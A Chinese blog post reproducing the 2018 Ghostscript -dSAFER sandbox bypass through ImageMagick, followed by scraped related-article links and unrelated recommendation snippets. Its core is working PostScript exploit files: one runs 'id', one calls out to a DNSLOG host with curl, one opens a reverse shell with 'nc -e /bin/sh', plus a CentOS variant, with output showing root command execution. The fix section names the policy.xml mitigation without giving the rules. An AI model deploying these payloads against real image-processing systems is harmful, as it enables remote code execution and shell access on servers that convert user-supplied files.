这两天网上ghostscript又又有漏洞信息了,但是没有poc,于是找找资料把今年8月21日的那个验证下

1、关于ghostscript

Ghostscript是一套建基于Adobe、PostScript及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。
最初是以商业软件形式在PC市场上发售,并称之为“GoScript”。但由于速度太慢(半小时一版A4),销量极差。后来有心人买下了版权,并改在Linux上开发,成为了今日的Ghostscript。
已经从Linux版本移植到其他操作系统,如其他Unix、Mac OS X、VMS、Windows、OS/2和Mac OS classic。
基于ghostscript的上游应用有Imagemagick、libmagick、graphicsmagick、gimp、python-matplotlib、texlive-core、texmacs、latex2html、latex2rtf等
还是挺多的,2016年被披露的“魔图”漏洞是就是imagemagick被暴露的漏洞;
8月21日Ghostscript被爆出包含多个-dSAFER沙箱绕过漏洞。-dSAFER是Ghostscript用于防止不安全PostScript操作的安全沙箱。此漏洞与2016年出现的沙箱绕过漏洞(CVE-2016-3714)类似,远程未经身份验证的攻击者可通过多种PostScript操作来绕过-dSAFER提供的保护,在易受攻击的系统上执行任意命令。ImageMagick等默认使用Ghostscript来处理PostScript内容的应用,将受到此漏洞影响。
2、漏洞信息
  影响范围 :<= 9.23(全版本,全平台)
  漏洞作者:Tavis Ormandy
 
3、漏洞复现
  环境:
    KALI 2018.02 rolling
    ghostscript:GPL Ghostscript 9.22 (2017-10-04)
    imagemagick未确认
  POC信息    
 root@kali:~# cat test.jpg
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
root@kali:~# convert test.jpg test.gif
uid=(root) gid=(root) 组=(root)
convert-im6.q16: FailedToExecuteCommand `'gs' -sstdout=%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap= -dAlignToPixels= -dGridFitTT= '-sDEVICE=pngalpha' -dTextAlphaBits= -dGraphicsAlphaBits= '-r72x72' -g612x792 '-sOutputFile=/tmp/magick-7925iEZJksvksDOI%d' '-f/tmp/magick-79250M4URvG5ediB' '-f/tmp/magick-7925ORuyFX7DkULt' -c showpage' (-1) @ error/delegate.c/ExternalDelegateCommand/462.
convert-im6.q16: no images defined `test.gif' @ error/convert.c/ConvertImageCommand/3258.
root@kali:~#

使用DNSLOG获取信息:

 %!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%curl http://XXX.ceye.io) currentdevice putdeviceprops

反弹Shell信息:
 %!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%$(nc -e /bin/sh X.X.X.X )) currentdevice putd
eviceprops
 
本来是准备用一个centos7的虚拟机来做环境测试,无奈一直报错没解决,可能已经拦截这些poc代码了???
 [root@localhost ~]# convert test.jpeg poc.gif
Error: /invalidaccess in --.putdeviceprops--
Operand stack: Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- --nostringval-- --nostringval-- false %stopped_push %oparray_pop %oparray_pop %oparray_pop %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- %oparray_pop --nostringval-- %oparray_pop
Dictionary stack:
--dict:/(ro)(G)-- --dict:/(G)-- --dict:/(L)--
Current allocation mode is local
Last OS error: No such file or directory
Current file position is
GPL Ghostscript 9.07: Unrecoverable error, exit code
Error: /invalidaccess in --.putdeviceprops--
Operand stack: Execution stack:
%interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- --nostringval-- --nostringval-- false %stopped_push %oparray_pop %oparray_pop %oparray_pop %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- %stopped_push --nostringval-- %oparray_pop --nostringval-- %oparray_pop
Dictionary stack:
--dict:/(ro)(G)-- --dict:/(G)-- --dict:/(L)--
Current allocation mode is local
Last OS error: No such file or directory
Current file position is
GPL Ghostscript 9.07: Unrecoverable error, exit code
convert: Postscript delegate failed `test.jpeg': 没有那个文件或目录 @ error/ps.c/ReadPSImage/832.
convert: no images defined `poc.gif' @ error/convert.c/ConvertImageCommand/3046.

4、注意事项:

kali因为是基于ubuntu的操作系统,所以这次的poc用的就是ubuntu版本的代码;

Centos版本和ubuntu略不一样,可尝试如下代码:

 %!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

5、修复

卸载???卸载是不可能的

使用ImageMagick,建议修改policy文件(默认位置:/etc/ImageMagick/policy.xml),在 <policymap> 中加入以下 <policy>(即禁用 PS、EPS、PDF、XPS coders):

这里由于是使用Kali进行测试,路径为  /etc/ImageMagick-6/policy.xml

再次测试:

 

ghostscript远程代码执行漏洞复现的更多相关文章

  1. Ghostscript远程代码执行漏洞利用方法

    昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下 1.确认系统是否安装了gs 执行命令 gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/ ...

  2. Tomcat/7.0.81 远程代码执行漏洞复现

    Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...

  3. IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现

    CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...

  4. IIS6远程代码执行漏洞复现CVE-2017-7269

    简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...

  5. Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御

    摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...

  6. Apache log4j2 远程代码执行漏洞复现👻

    Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...

  7. PHP远程代码执行漏洞复现(CVE-2019-11043)

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  8. SMBv3远程代码执行漏洞复现(CVE-2020-0796)

    漏洞基本信息 服务器消息块(SMB),是一个网络通信协议,用于提供共享访问到文件,打印机和串行端口的节点之间的网络上.它还提供了经过身份验证的进程间通信机制.SMB的大多数用法涉及运行Microsof ...

  9. CVE-2019-11043 Nginx PHP 远程代码执行漏洞复现

    漏洞背景:来自Wallarm的安全研究员Andrew Danau在9月14-16号举办的Real World CTF中,意外的向服务器发送%0a(换行符)时,服务器返回异常信息.由此发现了这个0day ...

随机推荐

  1. Vue + Element UI 实现权限管理系统 前端篇(十三):页面权限控制

    权限控制方案 既然是后台权限管理系统,当然少不了权限控制啦,至于权限控制,前端方面当然就是对页面资源的访问和操作控制啦. 前端资源权限主要又分为两个部分,即导航菜单的查看权限和页面增删改操作按钮的操作 ...

  2. java学习-消息队列rabbitmq的组成

    rabbitMQ组成部分 rabbitmq有以下组成部分,分别为: 1. Server(broker)接受客户端连接,实现AMQP消息队列和路由功能的进程 2.虚拟主机virtual host虚拟主机 ...

  3. Quartz.NET的简单任务管理类

    昨天使用Quartz.NET做了个定时任务的功能,并实现了多个定时任务的功能 下面这个类实现了如下功能: 1.对定时任务进行管理 2.创建定时任务,需要给定时任务一个job的名称 3.判断给定的job ...

  4. node-webkit无边框窗口用纯JS实现拖动改变大小

    <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head>     & ...

  5. FFmpeg数据结构AVFrame

    本文为作者原创,转载请注明出处:https://www.cnblogs.com/leisure_chn/p/10404502.html 本文基于FFmpeg 4.1版本. 1. 数据结构定义 stru ...

  6. Topshelf 学习 跨平台【转载】

    Topshelf 学习 跨平台   Topshelf是一个开源的跨平台的宿主服务框架,支持Windows和Mono,只需要几行代码就可以构建一个很方便使用的服务宿主. 官网:http://topshe ...

  7. angularjs通过ng-change和watch两种方式实现对表单输入改变的监控

    angularjs通过ng-change和watch两种方式实现对表单输入改变的监控 直接上练习代码 <!DOCTYPE html> <html xmlns="http:/ ...

  8. 在Web.config或App.config中的添加自定义配置 <转>

        .Net中的System.Configuration命名空间为我们在web.config或者app.config中自定义配置提供了完美的支持.最近看到一些项目中还在自定义xml文件做程序的配置 ...

  9. 【转】Win10年度更新开发必备:VS2015 Update 3正式版下载汇总

    微软在06月27日发布了Visual Studio 2015 Update 3 .在MSDN中微软也提供下载,而且MSDN的Visual Studio 2015 Update 3与官方免费下载的文件是 ...

  10. 【Java】HashMap源码分析——基本概念

    在JDK1.8后,对HashMap源码进行了更改,引入了红黑树.在这之前,HashMap实际上就是就是数组+链表的结构,由于HashMap是一张哈希表,其会产生哈希冲突,为了解决哈希冲突,HashMa ...